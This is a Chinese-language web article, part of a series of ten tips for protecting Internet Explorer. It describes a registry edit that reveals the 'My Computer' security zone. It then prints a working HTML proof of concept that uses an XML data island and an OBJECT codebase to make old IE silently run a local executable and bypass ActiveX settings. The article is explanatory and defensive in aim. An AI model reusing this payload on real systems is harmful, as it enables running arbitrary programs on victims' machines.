圖一 IE防黑技巧十則，讓你綠色上網更安全《四》

進入下載

Internet Explorer 8.0 XP 8.0 官方中文版...
大小：16.11 MB
日期：2019/9/7 15:34:16
環境：WinXP,

核心提示：針對IE的惡意修改、攻擊方法非常多，本文中介紹的十種反黑技巧，一定會對你有所幫助。

針對IE的惡意修改、攻擊方法非常多，本文中介紹的十種反黑技巧，一定會對你有所幫助。

下面是具體的方法：打開“開始”菜單中的“運行”，在彈出的“運行”對話框中輸入Regedit.exe，打開注冊表編輯器，點擊前面的“+”號順次展開到：HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settingsones，在右邊窗口中找到DWord值“Flags”，默認鍵值為十六進制的21（十進制33），雙擊“Flags”，在彈出的對話框中將它的鍵值改為“1”即可，關閉注冊表編輯器。無需重新啟動電腦，重新打開IE，再次點擊“工具→Internet選項→安全”標簽，你就會看到多了一個“我的電腦”圖標，在這里你可以對IE的本地安全進行配置。

圖二 IE防黑技巧十則，讓你綠色上網更安全《四》

這個小技巧有什么用呢？把下面的代碼保存為一個html文件，然后運行試試就知道了：

注意：請把<；替換為向左的尖括號，把>；替換為向右的尖括號。

<；span datasrc=\"#oExec\" datafld=\"exploit\" dataformatas=\"html">；<；/span>；

<；xml id=\"oExec\">；

<；security>；

<；exploit>；

<；！[CDATA[

<；object id=\"oFile\"

classid=\"clsid：88888888-8888-8888-8888-888888888888"

codebase=\"c：/winnt/system32/calc.exe">；<；/object>；

]]>；

<；/exploit>；

<；/security>；

<；/xml>；

運行上面的html文件，會打開你的計算機中c：/winnt/system32文件夾下的calc.exe文件！而且IE沒有任何提示！即使在IE的安全設置中禁用ActiveX控件上述代碼也能工作！如果不是calc.exe文件而是其他惡意文件又會怎么樣？如果是在你瀏覽的網頁中含有類似上面的代碼又會怎么樣？真危險啊！

圖三 IE防黑技巧十則，讓你綠色上網更安全《四》

之所以會這樣是由于IE存在兩個可怕的漏洞：可本地執行任意命令，IE的ActiveX安全設置可被繞過。在上述代碼中我們給IE指定了一個系統中并不存在的控件號（\"clsid：88888888-8888-8888-8888-888888888888），IE會試圖從codebase指定的地址去下載并安裝改控件。根據codebase于是IE找到了c：/winnt/system32/calc.exe，接著IE開始“下載”并安裝該程序。由于calc.exe是EXE文件，這樣就等于是在運行該文件，所以calc.exe就被運行了！

Internet Explorer 8.0 XP 8.0 官方中文版

• 軟件性質：國外軟件
• 授權方式：免費版
• 軟件語言：簡體中文
• 軟件大小：16499 KB
• 下載次數：15860 次
• 更新時間：2019/9/7 8:21:48
• 運行平臺：WinXP,...
• 軟件描述：IE8(Internet Explorer 8)是一款優秀的多標簽網頁瀏覽器，由... [立即下載]